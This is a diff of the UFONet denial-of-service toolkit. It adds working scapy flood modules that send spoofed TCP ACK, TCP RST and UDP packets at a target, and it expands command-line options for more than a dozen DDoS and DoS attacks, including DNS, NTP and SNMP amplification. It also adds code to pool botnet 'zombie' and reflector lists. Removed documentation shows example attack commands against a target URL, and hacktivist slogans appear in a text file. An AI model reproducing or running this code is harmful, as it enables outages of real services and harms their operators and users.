+        print("[Error] [AI] [UFOACK] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class UFOACK(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] TCP 'ACK+PUSH' (UFOACK) is ready to fire: [" , rounds, "ionized crystals ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+            sport = 80
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+            sport = 443
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                url = urlparse(target)
+                a = r.query(url.netloc, "A") # A record
+                for rd in a:
+                    ip = str(rd)
+            except:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [UFOACK] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
+            return
+        ackize(ip, sport, rounds) # attack with UFOACK using threading

+ 87 - 0
core/mods/uforst.py

@@ -0,0 +1,87 @@
+#!/usr/bin/env python3 
+# -*- coding: utf-8 -*-"
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket
+try:
+    from urlparse import urlparse
+except:
+    from urllib.parse import urlparse
+try:
+    from scapy.all import *
+except:
+    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    sys.exit(2)
+
+# UFONet TCP 'RST+FIN' packet attack (UFORST)
+def randIP():
+    ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
+    return ip
+
+def randInt():
+    x = random.randint(1,65535) # TCP ports
+    return x
+
+def rstize(ip, sport, rounds):
+    n=0
+    try:
+        for x in range (0,int(rounds)):
+            n=n+1
+            s_zombie_port = randInt() 
+            seq = randInt()
+            window = randInt()
+            IP_p = IP()
+            IP_p.src = randIP()
+            try:
+                IP_p.dst = ip
+            except:
+                print("[Error] [AI] [UFORST] Imposible to resolve IP from 'target' -> [Aborting!]\n")
+                break
+            TCP_l = TCP()
+            TCP_l.sport = s_zombie_port
+            TCP_l.dport = sport
+            TCP_l.seq = seq
+            TCP_l.window = window
+            TCP_l.flags = "RF" # FLAGS SET (RST+FIN)
+            try:
+                send(IP_p/TCP_l, verbose=0)
+                print("[Info] [AI] [UFORST] Firing 'crystalized stones' ["+str(n)+"] -> [CRYSTALIZING!]")
+                time.sleep(1) # sleep time required for balanced sucess
+            except:
+                print("[Error] [AI] [UFORST] Failed to engage with 'crystalized stones' ["+str(n)+"]")
+    except:
+        print("[Error] [AI] [UFORST] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class UFORST(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] TCP 'RST+FIN' (UFORST) is ready to fire: [" , rounds, "crystalized stones ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+            sport = 80
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+            sport = 443
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                url = urlparse(target)
+                a = r.query(url.netloc, "A") # A record
+                for rd in a:
+                    ip = str(rd)
+            except:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [UFORST] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
+            return
+        rstize(ip, sport, rounds) # attack with UFORST using threading

+ 78 - 0
core/mods/ufoudp.py

@@ -0,0 +1,78 @@
+#!/usr/bin/env python3 
+# -*- coding: utf-8 -*-"
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket
+try:
+    from urlparse import urlparse
+except:
+    from urllib.parse import urlparse
+try:
+    from scapy.all import *
+except:
+    print("\nError importing: scapy lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-scapy'\n")
+    sys.exit(2)
+
+# UFONet UDP flooder (UFOUDP)
+def randIP():
+    ip = ".".join(map(str, (random.randint(0,255)for _ in range(4))))
+    return ip
+
+def randInt():
+    x = random.randint(1,65535) # TCP ports
+    return x
+
+def ufoudpize(ip, sport, rounds):
+    n=0
+    try:
+        for x in range (0,int(rounds)):
+            n=n+1
+            IP_p = IP()
+            IP_p.src = randIP()
+            try:
+                IP_p.dst = ip
+            except:
+                print("[Error] [AI] [UFOUDP] Imposible to resolve IP from 'target' -> [Aborting!]\n")
+                break
+            try:
+                send(IP_p/UDP(), verbose=0)
+                print("[Info] [AI] [UFOUDP] Firing 'positron rays' ["+str(n)+"] -> [SHOOTING!]")
+                time.sleep(1) # sleep time required for balanced sucess
+            except:
+                print("[Error] [AI] [UFOUDP] Failed to engage with 'positron rays' ["+str(n)+"]")
+    except:
+        print("[Error] [AI] [UFOUDP] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class UFOUDP(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] UDP (UFOUDP) is ready to fire: [" , rounds, "positron rays ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+            sport = 80
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+            sport = 443
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                url = urlparse(target)
+                a = r.query(url.netloc, "A") # A record
+                for rd in a:
+                    ip = str(rd)
+            except:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [UFOUDP] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
+            return
+        ufoudpize(ip, sport, rounds) # attack with UFOUDP using threading

+ 68 - 40
core/options.py

@@ -20,6 +20,7 @@ class UFONetOptions(optparse.OptionParser):
         self.rpcs_file = "botnet/rpcs.txt" # set source path to retrieve 'rpcs'
         self.dnss_file = "botnet/dns.txt" # set source path to retrieve 'dnss'
         self.ntps_file = "botnet/ntp.txt" # set source path to retrieve 'ntps'
+        self.snmps_file = "botnet/snmp.txt" # set source path to retrieve 'snmp'
         self.dorks_file = "botnet/dorks.txt" # set source path to retrieve 'dorks'
         self.sengines = self.extract_sengines()
         self.zombies = int(self.extract_zombies())
@@ -29,13 +30,14 @@ class UFONetOptions(optparse.OptionParser):
         self.rpcs = int(self.extract_rpcs())
         self.dnss = int(self.extract_dnss())
         self.ntps = int(self.extract_ntps())
+        self.snmps = int(self.extract_snmps())
         self.dorks = int(self.extract_dorks())
         self.tools = self.extract_tools()
         self.etools = self.extra_tools()
         self.weapons = self.extract_weapons()
         self.ebotnet = self.electronic_botnet()
         self.eweapons = self.extra_weapons()
-        self.total_botnet = str(self.zombies+self.aliens+self.droids+self.ucavs+self.rpcs+self.dnss+self.ntps)
+        self.total_botnet = str(self.zombies+self.aliens+self.droids+self.ucavs+self.rpcs+self.dnss+self.ntps+self.snmps)
         self.d_energy = self.extract_d_energy()
         self.y_energy = self.extract_y_energy()
         self.x_energy = self.extract_x_energy()
@@ -43,7 +45,7 @@ class UFONetOptions(optparse.OptionParser):
         optparse.OptionParser.__init__(self, 
         description='\n{(D)enial(OFF)ensive(S)ervice[ToolKit]}-{by_(io=psy+/03c8.net)}',
         prog='./ufonet',
-        version='\nCode: v1.5 [MLV] - "MuLTi.V3rSe!"\n')
+        version='\nCode: 1.6 '+"\u25BC "+'[MR3] [ M4RAuD3R ] '+"\u25BC"+'\n')
         self.add_option("-v", "--verbose", action="store_true", dest="verbose", help="active verbose on requests")
         self.add_option("--examples", action="store_true", dest="examples", help="print some examples")
         self.add_option("--timeline", action="store_true", dest="timeline", help="show program's code timeline")
@@ -101,32 +103,40 @@ class UFONetOptions(optparse.OptionParser):
         group5.add_option("-x", action="store", dest="abduction", help="Examine webserver configuration (+CVE, +WAF detection)")
         self.add_option_group(group5)
         group6 = optparse.OptionGroup(self, "*Configure Attack(s)*")
-        group6.add_option("-a", action="store", dest="target", help="[DDoS] attack an URL (ex: -a 'http(s)://target.com')")
+        group6.add_option("-a", action="store", dest="target", help="[DDoS] attack a target (ex: -a 'http(s)://target.com')")
         group6.add_option("-f", action="store", dest="target_list", help="[DDoS] attack a list of targets (ex: -f 'targets.txt')")
         group6.add_option("-b", action="store", dest="place", help="Set place to attack (ex: -b '/path/big.jpg')")
         group6.add_option("-r", action="store", dest="rounds", help="Set number of rounds (ex: -r '1000') (default: 1)")
         self.add_option_group(group6)
         group7 = optparse.OptionGroup(self, "*Extra Configuration(s)*")
-        group7.add_option("--no-aliens", action="store_true", dest="disablealiens", help="Disable 'aliens' web abuse")
-        group7.add_option("--no-droids", action="store_true", dest="disabledroids", help="Disable 'droids' redirectors")
-        group7.add_option("--no-rpcs", action="store_true", dest="disablerpcs", help="Disable 'xml-rpcs' reflectors")
-        group7.add_option("--no-ucavs", action="store_true", dest="disableucavs", help="Disable 'ucavs' checkers")
+        group7.add_option("--no-droids", action="store_true", dest="disabledroids", help="Disable 'DROIDS' redirectors")
+        group7.add_option("--no-ucavs", action="store_true", dest="disableucavs", help="Disable 'UCAVS' checkers")
+        group7.add_option("--no-aliens", action="store_true", dest="disablealiens", help="Disable 'ALIENS' web abuse")
+        group7.add_option("--no-rpcs", action="store_true", dest="disablerpcs", help="Disable 'XML-RPCs' reflectors")
         group7.add_option("--no-head", action="store_true", dest="disablehead", help="Disable 'Is target up?' starting check")
         group7.add_option("--no-scan", action="store_true", dest="disablescanner", help="Disable 'Scan shields' round check")
         group7.add_option("--no-purge", action="store_true", dest="disablepurge", help="Disable 'Zombies purge' round check")
         group7.add_option("--expire", action="store", dest="expire", help="Set expire time for 'Zombies purge' (default: 30)")
         self.add_option_group(group7)
         group8 = optparse.OptionGroup(self, "*Extra Attack(s)*")
-        group8.add_option("--db", action="store", dest="dbstress", help="[DDoS] 'HTTP DB' attack (ex: --db 'search.php?q=')")
-        group8.add_option("--spray", action="store", dest="spray", help="[DDoS] 'TCP-SYN reflection' attack (ex: --spray 100)")
-        group8.add_option("--smurf", action="store", dest="smurf", help="[DDoS] 'ICMP broadcast' attack (ex: --smurf 101)")
-        group8.add_option("--tachyon", action="store", dest="tachyon", help="[DDoS] 'DNS amplification' attack (ex: --tachyon 1000)")
-        group8.add_option("--monlist", action="store", dest="monlist", help="[DDoS] 'NTP amplification' attack (ex: --monlist 1001)")
-        group8.add_option("--loic", action="store", dest="loic", help="[ DoS] 'HTTP fast' attack (ex: --loic 100)")
-        group8.add_option("--loris", action="store", dest="loris", help="[ DoS] 'HTTP slow' attack (ex: --loris 101)")
-        group8.add_option("--ufosyn", action="store", dest="ufosyn", help="[ DoS] 'TCP-SYN flood' attack (ex: --ufosyn 100)")
-        group8.add_option("--xmas", action="store", dest="xmas", help="[ DoS] 'TCP-XMAS flood' attack (ex: --xmas 101)")
-        group8.add_option("--nuke", action="store", dest="nuke", help="[ DoS] 'TCP-STARVATION' attack (ex: --nuke 10000)")
+        group8.add_option("--fraggle", action="store", dest="fraggle", help="[DDoS] 'UDP amplification' (ex: --fraggle 101)")
+        group8.add_option("--tachyon", action="store", dest="tachyon", help="[DDoS] 'DNS amplification' (ex: --tachyon 101)")
+        group8.add_option("--monlist", action="store", dest="monlist", help="[DDoS] 'NTP amplification' (ex: --monlist 101)")
+        group8.add_option("--smurf", action="store", dest="smurf", help="[DDoS] 'ICMP amplification' (ex: --smurf 101)")
+        group8.add_option("--sniper", action="store", dest="sniper", help="[DDoS] 'SNMP amplification' (ex: --sniper 101)")
+        group8.add_option("--spray", action="store", dest="spray", help="[DDoS] 'TCP-SYN reflection' (ex: --spray 101)")
+        group8.add_option("--db", action="store", dest="dbstress", help="[DDoS] 'HTTP-DB flood' (ex: --db 'search.php?q=')")
+        group8.add_option("--loic", action="store", dest="loic", help="[ DoS] 'HTTP-FAST flood' (ex: --loic 101)")
+        group8.add_option("--loris", action="store", dest="loris", help="[ DoS] 'HTTP-SLOW flood' (ex: --loris 101)")
+        group8.add_option("--ufosyn", action="store", dest="ufosyn", help="[ DoS] 'TCP-SYN flood' (ex: --ufosyn 101)")
+        group8.add_option("--xmas", action="store", dest="xmas", help="[ DoS] 'TCP-XMAS flood' (ex: --xmas 101)")
+        group8.add_option("--nuke", action="store", dest="nuke", help="[ DoS] 'TCP-STARVATION flood' (ex: --nuke 101)")
+        group8.add_option("--ufoack", action="store", dest="ufoack", help="[ DoS] 'TCP-ACK flood' (ex: --ufoack 101)")
+        group8.add_option("--uforst", action="store", dest="uforst", help="[ DoS] 'TCP-RST flood' (ex: --uforst 101)")
+        group8.add_option("--droper", action="store", dest="droper", help="[ DoS] 'IP-FRAGMENTATION flood' (ex: --droper 101)")
+        group8.add_option("--overlap", action="store", dest="overlap", help="[ DoS] 'IP-OVERLAP flood' (ex: --overlap 101)")
+        group8.add_option("--pinger", action="store", dest="pinger", help="[ DoS] 'ICMP flood' (ex: --pinger 101)")
+        group8.add_option("--ufoudp", action="store", dest="ufoudp", help="[ DoS] 'UDP flood' (ex: --ufoudp 101)")
         self.add_option_group(group8)
 
     def extract_sengines(self):
@@ -159,31 +169,40 @@ class UFONetOptions(optparse.OptionParser):
         return etools
 
     def extract_weapons(self):
-        weapons = ["DBSTRESSER", "SPRAY", "SMURF", "TACHYON", "MONLIST", "LOIC", "LORIS", "UFOSYN", "XMAS", "NUKE"]
+        weapons = ["SMURF", "TACHYON", "MONLIST", "SNIPER", "SPRAY", "DBSTRESS", "LOIC", "LORIS", "UFOSYN", "XMAS", "NUKE", "UFOACK", "UFORST", "DROPER", "OVERLAP", "PINGER", "UFOUPD", "FRAGGLE"]
         weapons = len(weapons)
         return weapons
 
     def extra_weapons(self):
-        eweapons =  '\n     _> DBSTRESS                   * [DDoS] HTTP DB Stresser'
-        eweapons += '\n     _> SPRAY                      * [DDoS] TCP SYN-Reflector'
-        eweapons += '\n     _> SMURF                      * [DDoS] ICMP Broadcaster'
+        eweapons = '\n     _> FRAGGLE                    * [DDoS] UDP Amplificator'
         eweapons += '\n     _> TACHYON                    * [DDoS] DNS Amplificator'
         eweapons += '\n     _> MONLIST                    * [DDoS] NTP Amplificator'
-        eweapons += '\n     _> LOIC                       * [ DoS] HTTP Fast-Requester'
-        eweapons += '\n     _> LORIS                      * [ DoS] HTTP Slow-Requester'
-        eweapons += '\n     _> UFOSYN                     * [ DoS] TCP SYN-Flag Flooder'
-        eweapons += '\n     _> XMAS                       * [ DoS] TCP XMAS-Flag Flooder'
-        eweapons += '\n     _> NUKE                       * [ DoS] TCP STARVATION Flooder'
+        eweapons += '\n     _> SMURF                      * [DDoS] ICMP Amplificator'
+        eweapons += '\n     _> SNIPER                     * [DDoS] SNMP Amplificator'
+        eweapons += '\n     _> SPRAY                      * [DDoS] TCP SYN Reflector'
+        eweapons += '\n     _> DBSTRESS                   * [DDoS] HTTP-DB Stresser'
+        eweapons += '\n     _> LOIC                       * [ DoS] HTTP-FAST Requester'
+        eweapons += '\n     _> LORIS                      * [ DoS] HTTP-SLOW Requester'
+        eweapons += '\n     _> UFOSYN                     * [ DoS] TCP-SYN Flooder'
+        eweapons += '\n     _> XMAS                       * [ DoS] TCP-XMAS Flooder'
+        eweapons += '\n     _> NUKE                       * [ DoS] TCP-STARVATION Flooder'
+        eweapons += '\n     _> UFOACK                     * [ DoS] TCP-ACK Flooder'
+        eweapons += '\n     _> UFORST                     * [ DoS] TCP-RST Flooder'
+        eweapons += '\n     _> DROPER                     * [ DoS] IP-FRAGMENTATION Flooder'
+        eweapons += '\n     _> OVERLAP                    * [ DoS] IP-OVERLAP Flooder'
+        eweapons += '\n     _> PINGER                     * [ DoS] ICMP Flooder'
+        eweapons += '\n     _> UFOUDP                     * [ DoS] UDP Flooder'
         return eweapons
 
     def electronic_botnet(self):
-        ebotnet =  '\n     _> ALIENS        [ '+ format(int(self.aliens), '06d')+ ' ]   * HTTP POST'
-        ebotnet += '\n     _> DROIDS        [ '+ format(int(self.droids), '06d')+ ' ]   * HTTP GET (complex)'
-        ebotnet += '\n     _> UCAVs         [ '+ format(int(self.ucavs), '06d')+ ' ]   * WebAbuse'
-        ebotnet += '\n     _> X-RPCs        [ '+ format(int(self.rpcs), '06d')+ ' ]   * PingBack XML-RPC exploit'
-        ebotnet += '\n     _> ZOMBIES       [ '+ format(int(self.zombies), '06d')+ ' ]   * HTTP GET (simple)'
-        ebotnet += '\n     _> DNSs          [ '+ format(int(self.dnss), '06d')+ ' ]   * DNS (reflectors)'
-        ebotnet += '\n     _> NTPs          [ '+ format(int(self.ntps), '06d')+ ' ]   * NTP (reflectors)'
+        ebotnet = '\n     _> ZOMBIES       [ '+ format(int(self.zombies), '08d')+ ' ]   * HTTP GET (simple)'
+        ebotnet += '\n     _> DROIDS        [ '+ format(int(self.droids), '08d')+ ' ]   * HTTP GET (complex)'
+        ebotnet += '\n     _> UCAVs         [ '+ format(int(self.ucavs), '08d')+ ' ]   * WebAbuse (multiple)'
+        ebotnet += '\n     _> ALIENS        [ '+ format(int(self.aliens), '08d')+ ' ]   * HTTP POST'
+        ebotnet += '\n     _> X-RPCs        [ '+ format(int(self.rpcs), '08d')+ ' ]   * XML-RPC'
+        ebotnet += '\n     _> DNSs          [ '+ format(int(self.dnss), '08d')+ ' ]   * DNS'
+        ebotnet += '\n     _> NTPs          [ '+ format(int(self.ntps), '08d')+ ' ]   * NTP'
+        ebotnet += '\n     _> SNMPs         [ '+ format(int(self.snmps), '08d')+ ' ]   * SNMP'
         return ebotnet
 
     def extract_zombies(self):
@@ -249,6 +268,15 @@ class UFONetOptions(optparse.OptionParser):
             ntps = "broken!"
         return ntps
 
+    def extract_snmps(self):
+        try:
+            f = open(self.snmps_file)
+            snmps = len(f.readlines())
+            f.close()
+        except:
+            snmps = "broken!"
+        return snmps
+
     def extract_dorks(self):
         try:
             f = open(self.dorks_file)
@@ -292,14 +320,14 @@ class UFONetOptions(optparse.OptionParser):
             print(self.description, "\n")
             print('='*75)
             self.version = self.version.replace("\n","")
-            print('\n  '+"\u25BC "+self.version+" \u25BC"'\n')
+            print('\n  '+"\u25BC "+self.version+'\n')
             print("-"*75+"\n")
-            print(' -> _BOTNET [DDoS]:   [', format(int(self.total_botnet), '06d'),'] '+"\u25BC"+' Bots (Available)'+ self.ebotnet)
-            print('\n -> _DORKS:           [', format(int(self.dorks), '06d'), '] '+"\u25BC"+' Open Redirect (CWE-601) patterns')
-            print('     _> ENGINES       [', format(int(self.sengines), '06d'), ']   * Dorking providers (Working)')
-            print('\n -> _TOOLS:           [', format(int(self.tools), '06d'),'] '+"\u25BC"+' Extra Tools (Misc)'+self.etools)
-            print('\n -> _WEAPONS:         [', format(int(self.weapons), '06d'),'] '+"\u25BC"+' Extra Attacks (Weapons)'+ self.eweapons)
-            print('\n -> _X-ENERGY [X'+"\u2091"+''+"\N{SUBSCRIPT EIGHT}"+']:  [', format(int(self.x_energy), '06d'),'] '+"\u25BC"+' '+self.formula+'\n')
+            print(' -> _BOTNET [DDoS]:   [', format(int(self.total_botnet), '08d'),'] '+"\u25BC"+' Bots (Available)'+ self.ebotnet)
+            print('\n -> _DORKS:           [', format(int(self.dorks), '08d'), '] '+"\u25BC"+' Open Redirect (CWE-601) patterns')
+            print('     _> ENGINES       [', format(int(self.sengines), '08d'), ']   * Dorking providers (Working)')
+            print('\n -> _TOOLS:           [', format(int(self.tools), '08d'),'] '+"\u25BC"+' Extra Tools (Misc)'+self.etools)
+            print('\n -> _WEAPONS:         [', format(int(self.weapons), '08d'),'] '+"\u25BC"+' Extra Attacks (DDoS & DoS)'+ self.eweapons)
+            print('\n -> _X-ENERGY [X'+"\u2091"+''+"\N{SUBSCRIPT EIGHT}"+']:  [', format(int(self.x_energy), '08d'),'] '+"\u25BC"+' '+self.formula+'\n')
             print("-"*75+"\n")
             print(" -> _HELP:            ./ufonet --help (or ./ufonet -h)")
             print(' -> _EXAMPLES:        ./ufonet --examples')

+ 62 - 15
core/tools/blackhole.py

@@ -40,6 +40,7 @@ class AI(Thread):
         rpcs_incoming=[]
         ntps_incoming=[]
         dnss_incoming=[]
+        snmps_incoming=[]
         for meat in self.meats:
             f_in = gzip.open(self.tmp_dir+"blackhole/"+meat)
             if 'community_zombies.txt.gz' in f_in: # zombies found
@@ -84,6 +85,12 @@ class AI(Thread):
                     dnss_incoming.append(line)
                     f_out.write(line.strip()+os.linesep)
                 f_out.close()
+            elif 'community_snmps.txt.gz' in f_in: # snmps found
+                f_out = open(self.tmp_dir+'glass.txt', 'wb')
+                for line in f_in.readlines():
+                    snmps_incoming.append(line)
+                    f_out.write(line.strip()+os.linesep)
+                f_out.close()
             f_in.close()
             os.remove(self.tmp_dir+"blackhole/"+meat)
         import subprocess
@@ -194,7 +201,7 @@ class AI(Thread):
             f_tested = open(self.tmp_dir+'clock.txt')
             ntps_community = f_tested.readlines()
             f_tested.close()
-            o_in = gzip.open(self.target_dir+'crystals.txt.gz', 'rb')
+            o_in = gzip.open(self.target_dir+'warps.txt.gz', 'rb')
             ntps_army = o_in.readlines()
             initial = len(ntps_army)
             o_in.close()
@@ -207,12 +214,12 @@ class AI(Thread):
             for ntp in ntps_army:
                 fc.write(ntp.strip()+os.linesep)
             fc.close()
-            shutil.move(self.tmp_dir+'newntps.txt.gz', self.target_dir+'crystals.txt.gz')
+            shutil.move(self.tmp_dir+'newntps.txt.gz', self.target_dir+'warps.txt.gz')
             print("[Info] [AI] NTPs tested : " +str(len(ntps_community)) + " / initial : " +str(initial) + " / final : " + str(len(ntps_army)))
             f_tested = open(self.tmp_dir+'label.txt')
             dnss_community = f_tested.readlines()
             f_tested.close()
-            o_in = gzip.open(self.target_dir+'warps.txt.gz', 'rb')
+            o_in = gzip.open(self.target_dir+'crystals.txt.gz', 'rb')
             dnss_army = o_in.readlines()
             initial = len(dnss_army)
             o_in.close()
@@ -225,8 +232,26 @@ class AI(Thread):
             for dns in dnss_army:
                 fc.write(dns.strip()+os.linesep)
             fc.close()
-            shutil.move(self.tmp_dir+'newdnss.txt.gz', self.target_dir+'warps.txt.gz')
+            shutil.move(self.tmp_dir+'newdnss.txt.gz', self.target_dir+'crystals.txt.gz')
             print("[Info] [AI] DNSs tested : " +str(len(dnss_community)) + " / initial : " +str(initial) + " / final : " + str(len(dnss_army)))
+            f_tested = open(self.tmp_dir+'glass.txt')
+            snmps_community = f_tested.readlines()
+            f_tested.close()
+            o_in = gzip.open(self.target_dir+'bosons.txt.gz', 'rb')
+            snmps_army = o_in.readlines()
+            initial = len(snmps_army)
+            o_in.close()
+            for snmp in snmps_community:
+                if snmp.strip() not in snmps_army:
+                    snmps_army.append(snmp)
+                else:
+                    pass
+            fc = gzip.open(self.tmp_dir+'newsnmps.txt.gz', 'wb')
+            for snmp in snmps_army:
+                fc.write(snmp.strip()+os.linesep)
+            fc.close()
+            shutil.move(self.tmp_dir+'newsnmps.txt.gz', self.target_dir+'bosons.txt.gz')
+            print("[Info] [AI] SNMPs tested : " +str(len(snmps_community)) + " / initial : " +str(initial) + " / final : " + str(len(snmps_army)))
 
     def run(self):
         self.power_on = True
@@ -294,6 +319,7 @@ class Eater(Thread):
         rpc_meat = "community_rpcs.txt.gz"
         ntp_meat = "community_ntps.txt.gz"
         dns_meat = "community_dnss.txt.gz"
+        snmp_meat = "community_snmps.txt.gz"
         while 1:
             data = self.client.recv(1024)
             if not data:
@@ -330,7 +356,7 @@ class Eater(Thread):
             f.write(data)
             print('\n[Info] [AI] Got "%s Closing media transfer"' % f.name)
             f.close()
-        elif rpc_meat in data: # get ucavs
+        elif rpc_meat in data: # get rpcs
             r = re.compile(".*("+rpc_meat+").*") # regex magics
             meat_type = r.search(data)
             m = meat_type.group(1)
@@ -354,6 +380,14 @@ class Eater(Thread):
             f.write(data)
             print('\n[Info] [AI] Got "%s Closing media transfer"' % f.name)
             f.close()
+        elif snmp_meat in data: # get snmps
+            r = re.compile(".*("+snmp_meat+").*") # regex magics
+            meat_type = r.search(data)
+            m = meat_type.group(1)
+            f = open(self.parent.tmp_dir+"blackhole/"+m,"wb")
+            f.write(data)
+            print('\n[Info] [AI] Got "%s Closing media transfer"' % f.name)
+            f.close()
         self.client.close()
         self.parent.eater_full(self)
 
@@ -459,26 +493,36 @@ class BlackHole ( Thread ):
                 reflectors_fail = reflectors_fail + 1
         else:
             reflectors_fail = 0
-        if not os.path.exists(self.target_dir+"crystals.txt.gz"):
+        if not os.path.exists(self.target_dir+"warps.txt.gz"):
             ntps_fail = 0
             try:
-                fc = gzip.open(self.target_dir+'crystals.txt.gz', 'wb')
+                fc = gzip.open(self.target_dir+'warps.txt.gz', 'wb')
                 fc.close()
             except:
-                print("[Error] [AI] Not 'crystals.txt.gz' file in "+self.target_dir)
+                print("[Error] [AI] Not 'warps.txt.gz' file in "+self.target_dir)
                 ntps_fail = ntps_fail + 1
         else:
             ntps_fail = 0
-        if not os.path.exists(self.target_dir+"warps.txt.gz"):
+        if not os.path.exists(self.target_dir+"crystals.txt.gz"):
             dnss_fail = 0
             try:
-                fc = gzip.open(self.target_dir+'warps.txt.gz', 'wb')
+                fc = gzip.open(self.target_dir+'crystals.txt.gz', 'wb')
                 fc.close()
             except:
-                print("[Error] [AI] Not 'warps.txt.gz' file in "+self.target_dir)
+                print("[Error] [AI] Not 'crystals.txt.gz' file in "+self.target_dir)
                 dnss_fail = dnss_fail + 1
         else:
             dnss_fail = 0
+        if not os.path.exists(self.target_dir+"bosons.txt.gz"):
+            snmps_fail = 0
+            try:
+                fc = gzip.open(self.target_dir+'bosons.txt.gz', 'wb')
+                fc.close()
+            except:
+                print("[Error] [AI] Not 'bosons.txt.gz' file in "+self.target_dir)
+                snmps_fail = snmps_fail + 1
+        else:
+            snmps_fail = 0
         if not os.access(self.target_dir+"abductions.txt.gz",os.W_OK):
             print("[Error] [AI] Write access denied for 'abductions' file in "+self.target_dir)
             abductions_fail = abductions_fail + 1
@@ -494,13 +538,16 @@ class BlackHole ( Thread ):
         if not os.access(self.target_dir+"reflectors.txt.gz",os.W_OK):
             print("[Error] [AI] Write access denied for 'reflectors' file in "+self.target_dir)
             reflectors_fail = reflectors_fail + 1
-        if not os.access(self.target_dir+"crystals.txt.gz",os.W_OK):
-            print("[Error] [AI] Write access denied for 'crystals' file in "+self.target_dir)
-            ntps_fail = ntps_fail + 1
         if not os.access(self.target_dir+"warps.txt.gz",os.W_OK):
             print("[Error] [AI] Write access denied for 'warps' file in "+self.target_dir)
+            ntps_fail = ntps_fail + 1
+        if not os.access(self.target_dir+"crystals.txt.gz",os.W_OK):
+            print("[Error] [AI] Write access denied for 'crystals' file in "+self.target_dir)
             dnss_fail = dnss_fail + 1
-        if abductions_fail > 0 and troops_fail > 0 and robots_fail > 0 and drones_fail > 0 and reflectors_fail > 0 and ntps_fail > 0 and dnss_fail > 0:
+        if not os.access(self.target_dir+"bosons.txt.gz",os.W_OK):
+            print("[Error] [AI] Write access denied for 'bosons' file in "+self.target_dir)
+            snmps_fail = snmps_fail + 1
+        if abductions_fail > 0 and troops_fail > 0 and robots_fail > 0 and drones_fail > 0 and reflectors_fail > 0 and ntps_fail > 0 and dnss_fail > 0 and snmps_fail > 0:
             print("\n[Error] [AI] Cannot found any container... -> [Aborting!]")
             print("\n[Info] [AI] Suspend [Blackhole] with: Ctrl+z")
             sys.exit(2)

+ 2 - 0
core/txt/misc.txt

@@ -62,4 +62,6 @@ Remember those who catalog #UFONet as "malware" in the next national elections.
 We are not retreating. We are advancing in another directions...
 #FREEASSANGE | #FREEANONS
 We are Anonymous. We are Legion. We do not forgive. We do not forget. Expect us...
+Power to the people!
+Rage Against The Poverty...
 #UFONet FAQ: https://ufonet.03c8.net/FAQ.html

+ 1 - 0
core/txt/motherships.txt

@@ -119,6 +119,7 @@ A.Scherr
 Munder
 Balto
 Sota
+C0ViD
 UNIVAC
 Antikitera
 Togo

File diff suppressed because it is too large
+ 930 - 60
core/webgui.py


+ 26 - 38
docs/LEEME.txt

@@ -346,45 +346,29 @@ Puedes probar tu lista de zombies "X-RPCs" lanzando:
 
      ./ufonet --test-rpc
 
-Al mismo tiempo, puedes conectar LOIC (con soporte para proxy), para hacer un número determinado de peticiones 
-recursivas directamente sobre tu objetivo:
-
-     ./ufonet -a http://target.com --loic 100
-
-Puedes conectar LORIS para hacer peticiones que dejen hilos abiertos en tu objetivo, haciendo que el servidor web 
-se vuelva lento:
-
-     ./ufonet -a http://target.com --loris 100
-
-Y también puedes conectar UFOSYN (requiere acceso mediante 'root') para comenzar un poderoso ataque de inundación TCP/SYN:
-
-     sudo python ufonet -a http://target.com --ufosyn 100
-
-O hacer un ataque SPRAY ('root' requerido) para lanzar una Denegación de Servicio Distribuída y Reflejada (DrDoS):
-
-     sudo python ufonet -a http://target.com --spray 100
-
-Un ataque SMURF ('root' requerido) para enviar paquetes de 'Propagación' ICMP de manera distribuída:
-
-     sudo python ufonet -a http://target.com --smurf 101
-
-O un ataque XMAS ('root' requerido) que inundará tu objetivo con paquetes 'Árbol de Navidad':
-
-     sudo python ufonet -a http://target.com --xmas 101
-
-Un ataque STARVATION ('root' requerido) que tumbará tu objetivo en segundos, si éste no tiene un mínimo nivel de protección:
-
-     sudo python ufonet -a http://target.com --nuke 10000
-
